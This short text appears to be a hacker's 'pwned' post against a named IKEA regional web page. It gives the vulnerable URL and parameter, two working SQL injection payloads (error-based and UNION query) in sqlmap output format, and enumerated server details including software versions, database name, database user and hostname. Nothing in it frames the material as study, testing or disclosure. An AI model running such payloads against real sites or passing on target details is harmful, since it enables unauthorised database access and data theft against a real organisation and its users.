IKEA PWNED

http://midseasong.ikea.de/index.php?eh_pfad=-muenchen_eching

---
Parameter: eh_pfad (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: eh_pfad=-muenchen_eching' AND (SELECT 8519 FROM(SELECT COUNT(*),CONCAT(0x7178767071,(SELECT (CASE WHEN (8519=8519) THEN 1 ELSE 0 END)),0x71717a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gVSv'='gVSv

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: eh_pfad=-muenchen_eching' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178767071,0x417a7a47616c56496e45,0x71717a6271),NULL,NULL,NULL,NULL,NULL,NULL#
---
web application technology: Apache, PHP 5.4.35
back-end DBMS: MySQL 5.0
banner:    '5.5.40-0+wheezy1-log'
current user:    'ikea_midsaesong@localhost'
current database:    'ikea_midsaesong'
hostname:    'trevlig3-1'
current user is DBA:    False
database management system users [1]:
[*] 'ikea_midsaesong'@'localhost'